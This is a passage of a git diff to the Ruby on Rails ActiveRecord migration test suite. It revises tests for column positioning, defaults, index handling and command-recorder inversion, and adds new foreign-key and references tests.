+          assert_equal %w(first second third), conn.columns(:testings).map(&:name)
+        end
 
-      def test_add_column_with_positioning
-        conn.add_column :testings, :new_col, :integer
-        assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
-      end
+        def test_add_column_with_positioning
+          conn.add_column :testings, :new_col, :integer
+          assert_equal %w(first second third new_col), conn.columns(:testings).map(&:name)
+        end
 
-      def test_add_column_with_positioning_first
-        conn.add_column :testings, :new_col, :integer, :first => true
-        assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
-      end
+        def test_add_column_with_positioning_first
+          conn.add_column :testings, :new_col, :integer, :first => true
+          assert_equal %w(new_col first second third), conn.columns(:testings).map(&:name)
+        end
 
-      def test_add_column_with_positioning_after
-        conn.add_column :testings, :new_col, :integer, :after => :first
-        assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
-      end
+        def test_add_column_with_positioning_after
+          conn.add_column :testings, :new_col, :integer, :after => :first
+          assert_equal %w(first new_col second third), conn.columns(:testings).map(&:name)
+        end
 
-      def test_change_column_with_positioning
-        conn.change_column :testings, :second, :integer, :first => true
-        assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
+        def test_change_column_with_positioning
+          conn.change_column :testings, :second, :integer, :first => true
+          assert_equal %w(second first third), conn.columns(:testings).map(&:name)
 
-        conn.change_column :testings, :second, :integer, :after => :third
-        assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
+          conn.change_column :testings, :second, :integer, :after => :third
+          assert_equal %w(first third second), conn.columns(:testings).map(&:name)
+        end
       end
-
     end
   end
 end
diff --git a/activerecord/test/cases/migration/columns_test.rb b/activerecord/test/cases/migration/columns_test.rb
index 2d7a7ec73a..6f65288ac0 100644
--- a/activerecord/test/cases/migration/columns_test.rb
+++ b/activerecord/test/cases/migration/columns_test.rb
@@ -53,19 +53,22 @@ module ActiveRecord
         add_column 'test_models', 'salary', :integer, :default => 70000
 
         default_before = connection.columns("test_models").find { |c| c.name == "salary" }.default
-        assert_equal 70000, default_before
+        assert_equal '70000', default_before
 
         rename_column "test_models", "salary", "annual_salary"
 
         assert TestModel.column_names.include?("annual_salary")
         default_after = connection.columns("test_models").find { |c| c.name == "annual_salary" }.default
-        assert_equal 70000, default_after
+        assert_equal '70000', default_after
       end
 
       if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
         def test_mysql_rename_column_preserves_auto_increment
           rename_column "test_models", "id", "id_test"
-          assert_equal "auto_increment", connection.columns("test_models").find { |c| c.name == "id_test" }.extra
+          assert connection.columns("test_models").find { |c| c.name == "id_test" }.auto_increment?
+          TestModel.reset_column_information
+        ensure
+          rename_column "test_models", "id_test", "id"
         end
       end
 
@@ -193,14 +196,21 @@ module ActiveRecord
 
         old_columns = connection.columns(TestModel.table_name)
         assert old_columns.find { |c|
-          c.name == 'approved' && c.type == :boolean && c.default == true
+          default = connection.lookup_cast_type_from_column(c).type_cast_from_database(c.default)
+          c.name == 'approved' && c.type == :boolean && default == true
         }
 
         change_column :test_models, :approved, :boolean, :default => false
         new_columns = connection.columns(TestModel.table_name)
 
-        assert_not new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
-        assert new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == false }
+        assert_not new_columns.find { |c|
+          default = connection.lookup_cast_type_from_column(c).type_cast_from_database(c.default)
+          c.name == 'approved' and c.type == :boolean and default == true
+        }
+        assert new_columns.find { |c|
+          default = connection.lookup_cast_type_from_column(c).type_cast_from_database(c.default)
+          c.name == 'approved' and c.type == :boolean and default == false
+        }
         change_column :test_models, :approved, :boolean, :default => true
       end
 
@@ -274,6 +284,16 @@ module ActiveRecord
       ensure
         connection.drop_table(:my_table) rescue nil
       end
+
+      def test_column_with_index
+        connection.create_table "my_table", force: true do |t|
+          t.string :item_number, index: true
+        end
+
+        assert connection.index_exists?("my_table", :item_number, name: :index_my_table_on_item_number)
+      ensure
+        connection.drop_table(:my_table) rescue nil
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
index 1b205d372f..3844b1a92e 100644
--- a/activerecord/test/cases/migration/command_recorder_test.rb
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -4,7 +4,8 @@ module ActiveRecord
   class Migration
     class CommandRecorderTest < ActiveRecord::TestCase
       def setup
-        @recorder = CommandRecorder.new
+        connection = ActiveRecord::Base.connection
+        @recorder  = CommandRecorder.new(connection)
       end
 
       def test_respond_to_delegates
@@ -156,6 +157,23 @@ module ActiveRecord
         assert_equal [:remove_column, [:table, :column, :type, {}], nil], remove
       end
 
+      def test_invert_change_column
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :change_column, [:table, :column, :type, {}]
+        end
+      end
+
+      def test_invert_change_column_default
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :change_column_default, [:table, :column, 'default_value']
+        end
+      end
+
+      def test_invert_change_column_null
+        add = @recorder.inverse_of :change_column_null, [:table, :column, true]
+        assert_equal [:change_column_null, [:table, :column, false]], add
+      end
+
       def test_invert_remove_column
         add = @recorder.inverse_of :remove_column, [:table, :column, :type, {}]
         assert_equal [:add_column, [:table, :column, :type, {}], nil], add
@@ -173,13 +191,13 @@ module ActiveRecord
       end
 
       def test_invert_add_index
-        remove = @recorder.inverse_of :add_index, [:table, [:one, :two], options: true]
-        assert_equal [:remove_index, [:table, {column: [:one, :two], options: true}]], remove
+        remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
+        assert_equal [:remove_index, [:table, {column: [:one, :two]}]], remove
       end
 
       def test_invert_add_index_with_name
         remove = @recorder.inverse_of :add_index, [:table, [:one, :two], name: "new_index"]
-        assert_equal [:remove_index, [:table, {column: [:one, :two], name: "new_index"}]], remove
+        assert_equal [:remove_index, [:table, {name: "new_index"}]], remove
       end
 
       def test_invert_add_index_with_no_options
@@ -219,8 +237,8 @@ module ActiveRecord
       end
 
       def test_invert_remove_timestamps
-        add = @recorder.inverse_of :remove_timestamps, [:table]
-        assert_equal [:add_timestamps, [:table], nil], add
+        add = @recorder.inverse_of :remove_timestamps, [:table, { null: true }]
+        assert_equal [:add_timestamps, [:table, {null: true }], nil], add
       end
 
       def test_invert_add_reference
@@ -238,6 +256,11 @@ module ActiveRecord
         assert_equal [:add_reference, [:table, :taggable, { polymorphic: true }], nil], add
       end
 
+      def test_invert_remove_reference_with_index_and_foreign_key
+        add = @recorder.inverse_of :remove_reference, [:table, :taggable, { index: true, foreign_key: true }]
+        assert_equal [:add_reference, [:table, :taggable, { index: true, foreign_key: true }], nil], add
+      end
+
       def test_invert_remove_belongs_to_alias
         add = @recorder.inverse_of :remove_belongs_to, [:table, :user]
         assert_equal [:add_reference, [:table, :user], nil], add
@@ -252,6 +275,31 @@ module ActiveRecord
         enable = @recorder.inverse_of :disable_extension, ['uuid-ossp']
         assert_equal [:enable_extension, ['uuid-ossp'], nil], enable
       end
+
+      def test_invert_add_foreign_key
+        enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people]
+        assert_equal [:remove_foreign_key, [:dogs, :people]], enable
+      end
+
+      def test_invert_add_foreign_key_with_column
+        enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id"]
+        assert_equal [:remove_foreign_key, [:dogs, column: "owner_id"]], enable
+      end
+
+      def test_invert_add_foreign_key_with_column_and_name
+        enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"]
+        assert_equal [:remove_foreign_key, [:dogs, name: "fk"]], enable
+      end
+
+      def test_remove_foreign_key_is_irreversible
+        assert_raises ActiveRecord::IrreversibleMigration do
+          @recorder.inverse_of :remove_foreign_key, [:dogs, column: "owner_id"]
+        end
+
+        assert_raises ActiveRecord::IrreversibleMigration do
+          @recorder.inverse_of :remove_foreign_key, [:dogs, name: "fk"]
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/create_join_table_test.rb b/activerecord/test/cases/migration/create_join_table_test.rb
index efaec0f823..bea9d6b2c9 100644
--- a/activerecord/test/cases/migration/create_join_table_test.rb
+++ b/activerecord/test/cases/migration/create_join_table_test.rb
@@ -10,8 +10,7 @@ module ActiveRecord
         @connection = ActiveRecord::Base.connection
       end
 
-      def teardown
-        super
+      teardown do
         %w(artists_musics musics_videos catalog).each do |table_name|
           connection.drop_table table_name if connection.tables.include?(table_name)
         end
@@ -120,6 +119,30 @@ module ActiveRecord
 
         assert !connection.tables.include?('artists_musics')
       end
+
+      def test_create_and_drop_join_table_with_common_prefix
+        with_table_cleanup do
+          connection.create_join_table 'audio_artists', 'audio_musics'
+          assert_includes connection.tables, 'audio_artists_musics'
+
+          connection.drop_join_table 'audio_artists', 'audio_musics'
+          assert !connection.tables.include?('audio_artists_musics'), "Should have dropped join table, but didn't"
+        end
+      end
+
+      private
+
+        def with_table_cleanup
+          tables_before = connection.tables
+
+          yield
+        ensure
+          tables_after = connection.tables - tables_before
+
+          tables_after.each do |table|
+            connection.execute "DROP TABLE #{table}"
+          end
+        end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/foreign_key_test.rb b/activerecord/test/cases/migration/foreign_key_test.rb
new file mode 100644
index 0000000000..b2f2d077eb
--- /dev/null
+++ b/activerecord/test/cases/migration/foreign_key_test.rb
@@ -0,0 +1,252 @@
+require 'cases/helper'
+require 'support/ddl_helper'
+require 'support/schema_dumping_helper'
+
+if ActiveRecord::Base.connection.supports_foreign_keys?
+module ActiveRecord
+  class Migration
+    class ForeignKeyTest < ActiveRecord::TestCase
+      include DdlHelper
+      include SchemaDumpingHelper
+      include ActiveSupport::Testing::Stream
+
+      class Rocket < ActiveRecord::Base
+      end
+
+      class Astronaut < ActiveRecord::Base
+      end
+
+      setup do
+        @connection = ActiveRecord::Base.connection
+        @connection.create_table "rockets", force: true do |t|
+          t.string :name
+        end
+
+        @connection.create_table "astronauts", force: true do |t|
+          t.string :name
+          t.references :rocket
+        end
+      end
+
+      teardown do
+        if defined?(@connection)
+          @connection.drop_table "astronauts", if_exists: true
+          @connection.drop_table "rockets", if_exists: true
+        end
+      end
+
+      def test_foreign_keys
+        foreign_keys = @connection.foreign_keys("fk_test_has_fk")
+        assert_equal 1, foreign_keys.size
+
+        fk = foreign_keys.first
+        assert_equal "fk_test_has_fk", fk.from_table
+        assert_equal "fk_test_has_pk", fk.to_table
+        assert_equal "fk_id", fk.column
+        assert_equal "pk_id", fk.primary_key
+        assert_equal "fk_name", fk.name
+      end
+
+      def test_add_foreign_key_inferes_column
+        @connection.add_foreign_key :astronauts, :rockets
+
+        foreign_keys = @connection.foreign_keys("astronauts")
+        assert_equal 1, foreign_keys.size
+
+        fk = foreign_keys.first
+        assert_equal "astronauts", fk.from_table
+        assert_equal "rockets", fk.to_table
+        assert_equal "rocket_id", fk.column
+        assert_equal "id", fk.primary_key
+        assert_equal("fk_rails_78146ddd2e", fk.name)
+      end
+
+      def test_add_foreign_key_with_column
+        @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id"
+
+        foreign_keys = @connection.foreign_keys("astronauts")
+        assert_equal 1, foreign_keys.size
+
+        fk = foreign_keys.first
+        assert_equal "astronauts", fk.from_table
+        assert_equal "rockets", fk.to_table
+        assert_equal "rocket_id", fk.column
+        assert_equal "id", fk.primary_key
+        assert_equal("fk_rails_78146ddd2e", fk.name)
+      end
+
+      def test_add_foreign_key_with_non_standard_primary_key
+        with_example_table @connection, "space_shuttles", "pk integer PRIMARY KEY" do
+          @connection.add_foreign_key(:astronauts, :space_shuttles,
+                                      column: "rocket_id", primary_key: "pk", name: "custom_pk")
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "astronauts", fk.from_table
+          assert_equal "space_shuttles", fk.to_table
+          assert_equal "pk", fk.primary_key
+
+          @connection.remove_foreign_key :astronauts, name: "custom_pk"
+        end
+      end
+
+      def test_add_on_delete_restrict_foreign_key
+        @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :restrict
+
+        foreign_keys = @connection.foreign_keys("astronauts")
+        assert_equal 1, foreign_keys.size
+
+        fk = foreign_keys.first
+        if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+          # ON DELETE RESTRICT is the default on MySQL
+          assert_equal nil, fk.on_delete
+        else
+          assert_equal :restrict, fk.on_delete
+        end
+      end
+
+      def test_add_on_delete_cascade_foreign_key
+        @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :cascade
+
+        foreign_keys = @connection.foreign_keys("astronauts")
+        assert_equal 1, foreign_keys.size
+
+        fk = foreign_keys.first
+        assert_equal :cascade, fk.on_delete
+      end
+
+      def test_add_on_delete_nullify_foreign_key
+        @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :nullify
+
+        foreign_keys = @connection.foreign_keys("astronauts")
+        assert_equal 1, foreign_keys.size
+
+        fk = foreign_keys.first
+        assert_equal :nullify, fk.on_delete
+      end
+
+      def test_on_update_and_on_delete_raises_with_invalid_values
+        assert_raises ArgumentError do
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :invalid
+        end
+
+        assert_raises ArgumentError do
+          @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_update: :invalid
+        end
+      end
+
+      def test_add_foreign_key_with_on_update
+        @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_update: :nullify
+
+        foreign_keys = @connection.foreign_keys("astronauts")
+        assert_equal 1, foreign_keys.size
+
+        fk = foreign_keys.first
+        assert_equal :nullify, fk.on_update
+      end
+
+      def test_remove_foreign_key_inferes_column
+        @connection.add_foreign_key :astronauts, :rockets
+
+        assert_equal 1, @connection.foreign_keys("astronauts").size
+        @connection.remove_foreign_key :astronauts, :rockets
+        assert_equal [], @connection.foreign_keys("astronauts")
+      end
+
+      def test_remove_foreign_key_by_column
+        @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id"
+
+        assert_equal 1, @connection.foreign_keys("astronauts").size
+        @connection.remove_foreign_key :astronauts, column: "rocket_id"
+        assert_equal [], @connection.foreign_keys("astronauts")
+      end
+
+      def test_remove_foreign_key_by_symbol_column
+        @connection.add_foreign_key :astronauts, :rockets, column: :rocket_id
+
+        assert_equal 1, @connection.foreign_keys("astronauts").size
+        @connection.remove_foreign_key :astronauts, column: :rocket_id
+        assert_equal [], @connection.foreign_keys("astronauts")
+      end
+
+      def test_remove_foreign_key_by_name
+        @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk"
+
+        assert_equal 1, @connection.foreign_keys("astronauts").size
+        @connection.remove_foreign_key :astronauts, name: "fancy_named_fk"
+        assert_equal [], @connection.foreign_keys("astronauts")
+      end
+
+      def test_remove_foreign_non_existing_foreign_key_raises
+        assert_raises ArgumentError do
+          @connection.remove_foreign_key :astronauts, :rockets
+        end
+      end
+
+      def test_schema_dumping
+        @connection.add_foreign_key :astronauts, :rockets
+        output = dump_table_schema "astronauts"
+        assert_match %r{\s+add_foreign_key "astronauts", "rockets"$}, output
+      end
+
+      def test_schema_dumping_with_options
+        output = dump_table_schema "fk_test_has_fk"
+        assert_match %r{\s+add_foreign_key "fk_test_has_fk", "fk_test_has_pk", column: "fk_id", primary_key: "pk_id", name: "fk_name"$}, output
+      end
+
+      def test_schema_dumping_on_delete_and_on_update_options
+        @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", on_delete: :nullify, on_update: :cascade
+
+        output = dump_table_schema "astronauts"
+        assert_match %r{\s+add_foreign_key "astronauts",.+on_update: :cascade,.+on_delete: :nullify$}, output
+      end
+
+      class CreateCitiesAndHousesMigration < ActiveRecord::Migration
+        def change
+          create_table("cities") { |t| }
+
+          create_table("houses") do |t|
+            t.column :city_id, :integer
+          end
+          add_foreign_key :houses, :cities, column: "city_id"
+        end
+      end
+
+      def test_add_foreign_key_is_reversible
+        migration = CreateCitiesAndHousesMigration.new
+        silence_stream($stdout) { migration.migrate(:up) }
+        assert_equal 1, @connection.foreign_keys("houses").size
+      ensure
+        silence_stream($stdout) { migration.migrate(:down) }
+      end
+
+    end
+  end
+end
+else
+module ActiveRecord
+  class Migration
+    class NoForeignKeySupportTest < ActiveRecord::TestCase
+      setup do
+        @connection = ActiveRecord::Base.connection
+      end
+
+      def test_add_foreign_key_should_be_noop
+        @connection.add_foreign_key :clubs, :categories
+      end
+
+      def test_remove_foreign_key_should_be_noop
+        @connection.remove_foreign_key :clubs, :categories
+      end
+
+      def test_foreign_keys_should_raise_not_implemented
+        assert_raises NotImplementedError do
+          @connection.foreign_keys("clubs")
+        end
+      end
+    end
+  end
+end
+end
diff --git a/activerecord/test/cases/migration/helper.rb b/activerecord/test/cases/migration/helper.rb
index e28feedcf9..5bc0898f33 100644
--- a/activerecord/test/cases/migration/helper.rb
+++ b/activerecord/test/cases/migration/helper.rb
@@ -5,10 +5,6 @@ module ActiveRecord
     class << self; attr_accessor :message_count; end
     self.message_count = 0
 
-    def puts(text="")
-      ActiveRecord::Migration.message_count += 1
-    end
-
     module TestHelper
       attr_reader :connection, :table_name
 
@@ -22,7 +18,7 @@ module ActiveRecord
         super
         @connection = ActiveRecord::Base.connection
         connection.create_table :test_models do |t|
-          t.timestamps
+          t.timestamps null: true
         end
 
         TestModel.reset_column_information
diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb
index 04521a5f5a..b23b9a679f 100644
--- a/activerecord/test/cases/migration/index_test.rb
+++ b/activerecord/test/cases/migration/index_test.rb
@@ -21,15 +21,12 @@ module ActiveRecord
         end
       end
 
-      def teardown
-        super
+      teardown do
         connection.drop_table :testings rescue nil
         ActiveRecord::Base.primary_key_prefix_type = nil
       end
 
       def test_rename_index
-        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
-
         # keep the names short to make Oracle and similar behave
         connection.add_index(table_name, [:foo], :name => 'old_idx')
         connection.rename_index(table_name, 'old_idx', 'new_idx')
@@ -39,9 +36,21 @@ module ActiveRecord
         assert connection.index_name_exists?(table_name, 'new_idx', true)
       end
 
-      def test_double_add_index
-        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+      def test_rename_index_too_long
+        too_long_index_name = good_index_name + 'x'
+        # keep the names short to make Oracle and similar behave
+        connection.add_index(table_name, [:foo], :name => 'old_idx')
+        e = assert_raises(ArgumentError) {
+          connection.rename_index(table_name, 'old_idx', too_long_index_name)
+        }
+        assert_match(/too long; the limit is #{connection.allowed_index_name_length} characters/, e.message)
+
+        # if the adapter doesn't support the indexes call, pick defaults that let the test pass
+        assert connection.index_name_exists?(table_name, 'old_idx', false)
+      end
 
+
+      def test_double_add_index
         connection.add_index(table_name, [:foo], :name => 'some_idx')
         assert_raises(ArgumentError) {
           connection.add_index(table_name, [:foo], :name => 'some_idx')
@@ -49,9 +58,6 @@ module ActiveRecord
       end
 
       def test_remove_nonexistent_index
-        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
-
-        # we do this by name, so OpenBase is a wash as noted above
         assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
       end
 
@@ -103,6 +109,12 @@ module ActiveRecord
         assert connection.index_exists?(:testings, [:foo, :bar])
       end
 
+      def test_index_exists_with_custom_name_checks_columns
+        connection.add_index :testings, [:foo, :bar], name: "my_index"
+        assert connection.index_exists?(:testings, [:foo, :bar], name: "my_index")
+        assert_not connection.index_exists?(:testings, [:foo], name: "my_index")
+      end
+
       def test_valid_index_options
         assert_raise ArgumentError do
           connection.add_index :testings, :foo, unqiue: true
@@ -131,50 +143,37 @@ module ActiveRecord
         connection.add_index("testings", "last_name")
         connection.remove_index("testings", "last_name")
 
-        # Orcl nds shrt indx nms.  Sybs 2.
-        # OpenBase does not have named indexes.  You must specify a single column name
-        unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
+        connection.add_index("testings", ["last_name", "first_name"])
+        connection.remove_index("testings", :column => ["last_name", "first_name"])
+
+        # Oracle adapter cannot have specified index name larger than 30 characters
+        # Oracle adapter is shortening index name when just column list is given
+        unless current_adapter?(:OracleAdapter)
           connection.add_index("testings", ["last_name", "first_name"])
-          connection.remove_index("testings", :column => ["last_name", "first_name"])
-
-          # Oracle adapter cannot have specified index name larger than 30 characters
-          # Oracle adapter is shortening index name when just column list is given
-          unless current_adapter?(:OracleAdapter)
-            connection.add_index("testings", ["last_name", "first_name"])
-            connection.remove_index("testings", :name => :index_testings_on_last_name_and_first_name)
-            connection.add_index("testings", ["last_name", "first_name"])
-            connection.remove_index("testings", "last_name_and_first_name")
-          end
+          connection.remove_index("testings", :name => :index_testings_on_last_name_and_first_name)
           connection.add_index("testings", ["last_name", "first_name"])
-          connection.remove_index("testings", ["last_name", "first_name"])
+          connection.remove_index("testings", "last_name_and_first_name")
+        end
+        connection.add_index("testings", ["last_name", "first_name"])
+        connection.remove_index("testings", ["last_name", "first_name"])
 
-          connection.add_index("testings", ["last_name"], :length => 10)
-          connection.remove_index("testings", "last_name")
+        connection.add_index("testings", ["last_name"], :length => 10)
+        connection.remove_index("testings", "last_name")
 
-          connection.add_index("testings", ["last_name"], :length => {:last_name => 10})
-          connection.remove_index("testings", ["last_name"])
+        connection.add_index("testings", ["last_name"], :length => {:last_name => 10})
+        connection.remove_index("testings", ["last_name"])
 
-          connection.add_index("testings", ["last_name", "first_name"], :length => 10)
-          connection.remove_index("testings", ["last_name", "first_name"])
+        connection.add_index("testings", ["last_name", "first_name"], :length => 10)
+        connection.remove_index("testings", ["last_name", "first_name"])
 
-          connection.add_index("testings", ["last_name", "first_name"], :length => {:last_name => 10, :first_name => 20})
-          connection.remove_index("testings", ["last_name", "first_name"])
-        end
+        connection.add_index("testings", ["last_name", "first_name"], :length => {:last_name => 10, :first_name => 20})
+        connection.remove_index("testings", ["last_name", "first_name"])
 
-        # quoting
-        # Note: changed index name from "key" to "key_idx" since "key" is a Firebird reserved word
-        # OpenBase does not have named indexes.  You must specify a single column name
-        unless current_adapter?(:OpenBaseAdapter)
-          connection.add_index("testings", ["key"], :name => "key_idx", :unique => true)
-          connection.remove_index("testings", :name => "key_idx", :unique => true)
-        end
+        connection.add_index("testings", ["key"], :name => "key_idx", :unique => true)
+        connection.remove_index("testings", :name => "key_idx", :unique => true)
 
-        # Sybase adapter does not support indexes on :boolean columns
-        # OpenBase does not have named indexes.  You must specify a single column
-        unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
-          connection.add_index("testings", %w(last_name first_name administrator), :name => "named_admin")
-          connection.remove_index("testings", :name => "named_admin")
-        end
+        connection.add_index("testings", %w(last_name first_name administrator), :name => "named_admin")
+        connection.remove_index("testings", :name => "named_admin")
 
         # Selected adapters support index sort order
         if current_adapter?(:SQLite3Adapter, :MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
@@ -189,14 +188,14 @@ module ActiveRecord
         end
       end
 
-      def test_add_partial_index
-        skip 'only on pg' unless current_adapter?(:PostgreSQLAdapter)
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_add_partial_index
+          connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
+          assert connection.index_exists?("testings", "last_name")
 
-        connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
-        assert connection.index_exists?("testings", "last_name")
-
-        connection.remove_index("testings", "last_name")
-        assert !connection.index_exists?("testings", "last_name")
+          connection.remove_index("testings", "last_name")
+          assert !connection.index_exists?("testings", "last_name")
+        end
       end
 
       private
diff --git a/activerecord/test/cases/migration/logger_test.rb b/activerecord/test/cases/migration/logger_test.rb
index 97efb94b66..319d3e1af3 100644
--- a/activerecord/test/cases/migration/logger_test.rb
+++ b/activerecord/test/cases/migration/logger_test.rb
@@ -3,7 +3,7 @@ require "cases/helper"
 module ActiveRecord
   class Migration
     class LoggerTest < ActiveRecord::TestCase
-      # mysql can't roll back ddl changes
+      # MySQL can't roll back ddl changes
       self.use_transactional_fixtures = false
 
       Migration = Struct.new(:name, :version) do
@@ -19,8 +19,7 @@ module ActiveRecord
         ActiveRecord::SchemaMigration.delete_all
       end
 
-      def teardown
-        super
+      teardown do
         ActiveRecord::SchemaMigration.drop_table
       end
 
diff --git a/activerecord/test/cases/migration/pending_migrations_test.rb b/activerecord/test/cases/migration/pending_migrations_test.rb
new file mode 100644
index 0000000000..7afac83bd2
--- /dev/null
+++ b/activerecord/test/cases/migration/pending_migrations_test.rb
@@ -0,0 +1,53 @@
+require 'cases/helper'
+require "minitest/mock"
+
+module ActiveRecord
+  class Migration
+    class PendingMigrationsTest < ActiveRecord::TestCase
+      def setup
+        super
+        @connection = Minitest::Mock.new
+        @app = Minitest::Mock.new
+        conn = @connection
+        @pending = Class.new(CheckPending) {
+          define_method(:connection) { conn }
+        }.new(@app)
+        @pending.instance_variable_set :@last_check, -1 # Force checking
+      end
+
+      def teardown
+        assert @connection.verify
+        assert @app.verify
+        super
+      end
+
+      def test_errors_if_pending
+        @connection.expect :supports_migrations?, true
+
+        ActiveRecord::Migrator.stub :needs_migration?, true do
+          assert_raise ActiveRecord::PendingMigrationError do
+            @pending.call(nil)
+          end
+        end
+      end
+
+      def test_checks_if_supported
+        @connection.expect :supports_migrations?, true
+        @app.expect :call, nil, [:foo]
+
+        ActiveRecord::Migrator.stub :needs_migration?, false do
+          @pending.call(:foo)
+        end
+      end
+
+      def test_doesnt_check_if_unsupported
+        @connection.expect :supports_migrations?, false
+        @app.expect :call, nil, [:foo]
+
+        ActiveRecord::Migrator.stub :needs_migration?, true do
+          @pending.call(:foo)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/references_foreign_key_test.rb b/activerecord/test/cases/migration/references_foreign_key_test.rb
new file mode 100644
index 0000000000..17ac72a109
--- /dev/null
+++ b/activerecord/test/cases/migration/references_foreign_key_test.rb
@@ -0,0 +1,111 @@
+require 'cases/helper'
+
+if ActiveRecord::Base.connection.supports_foreign_keys?
+module ActiveRecord
+  class Migration
+    class ReferencesForeignKeyTest < ActiveRecord::TestCase
+      setup do
+        @connection = ActiveRecord::Base.connection
+        @connection.create_table(:testing_parents, force: true)
+      end
+
+      teardown do
+        @connection.drop_table "testings", if_exists: true
+        @connection.drop_table "testing_parents", if_exists: true
+      end
+
+      test "foreign keys can be created with the table" do
+        @connection.create_table :testings do |t|
+          t.references :testing_parent, foreign_key: true
+        end
+
+        fk = @connection.foreign_keys("testings").first
+        assert_equal "testings", fk.from_table
+        assert_equal "testing_parents", fk.to_table
+      end
+
+      test "no foreign key is created by default" do
+        @connection.create_table :testings do |t|
+          t.references :testing_parent
+        end
+
+        assert_equal [], @connection.foreign_keys("testings")
+      end
+
+      test "options hash can be passed" do
+        @connection.change_table :testing_parents do |t|
+          t.integer :other_id
+          t.index :other_id, unique: true
+        end
+        @connection.create_table :testings do |t|
+          t.references :testing_parent, foreign_key: { primary_key: :other_id }
+        end
+
+        fk = @connection.foreign_keys("testings").find { |k| k.to_table == "testing_parents" }
+        assert_equal "other_id", fk.primary_key
+      end
+
+      test "foreign keys cannot be added to polymorphic relations when creating the table" do
+        @connection.create_table :testings do |t|
+          assert_raises(ArgumentError) do
+            t.references :testing_parent, polymorphic: true, foreign_key: true
+          end
+        end
+      end
+
+      test "foreign keys can be created while changing the table" do
+        @connection.create_table :testings
+        @connection.change_table :testings do |t|
+          t.references :testing_parent, foreign_key: true
+        end
+
+        fk = @connection.foreign_keys("testings").first
+        assert_equal "testings", fk.from_table
+        assert_equal "testing_parents", fk.to_table
+      end
+
+      test "foreign keys are not added by default when changing the table" do
+        @connection.create_table :testings
+        @connection.change_table :testings do |t|
+          t.references :testing_parent
+        end
+
+        assert_equal [], @connection.foreign_keys("testings")
+      end
+
+      test "foreign keys accept options when changing the table" do
+        @connection.change_table :testing_parents do |t|
+          t.integer :other_id
+          t.index :other_id, unique: true
+        end
+        @connection.create_table :testings
+        @connection.change_table :testings do |t|
+          t.references :testing_parent, foreign_key: { primary_key: :other_id }
+        end
+
+        fk = @connection.foreign_keys("testings").find { |k| k.to_table == "testing_parents" }
+        assert_equal "other_id", fk.primary_key
+      end
+
+      test "foreign keys cannot be added to polymorphic relations when changing the table" do
+        @connection.create_table :testings
+        @connection.change_table :testings do |t|
+          assert_raises(ArgumentError) do
+            t.references :testing_parent, polymorphic: true, foreign_key: true
+          end
+        end
+      end
+
+      test "foreign key column can be removed" do
+        @connection.create_table :testings do |t|
+          t.references :testing_parent, index: true, foreign_key: true
+        end
+
+        assert_difference "@connection.foreign_keys('testings').size", -1 do
+          @connection.remove_reference :testings, :testing_parent, foreign_key: true
+        end
+      end
+    end
+  end
+end
+end
diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb
index 3ff89524fe..ad6b828d0b 100644
--- a/activerecord/test/cases/migration/references_index_test.rb
+++ b/activerecord/test/cases/migration/references_index_test.rb
@@ -11,8 +11,7 @@ module ActiveRecord
         @table_name = :testings
       end
 
-      def teardown
-        super
+      teardown do
         connection.drop_table :testings rescue nil
       end
 
@@ -50,14 +49,14 @@ module ActiveRecord
         assert connection.index_exists?(table_name, :bar_id, :name => :index_testings_on_bar_id, :unique => true)
       end
 
-      def test_creates_polymorphic_index
-        return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
+      unless current_adapter? :OracleAdapter
+        def test_creates_polymorphic_index
+          connection.create_table table_name do |t|
+            t.references :foo, :polymorphic => true, :index => true
+          end
 
-        connection.create_table table_name do |t|
-          t.references :foo, :polymorphic => true, :index => true
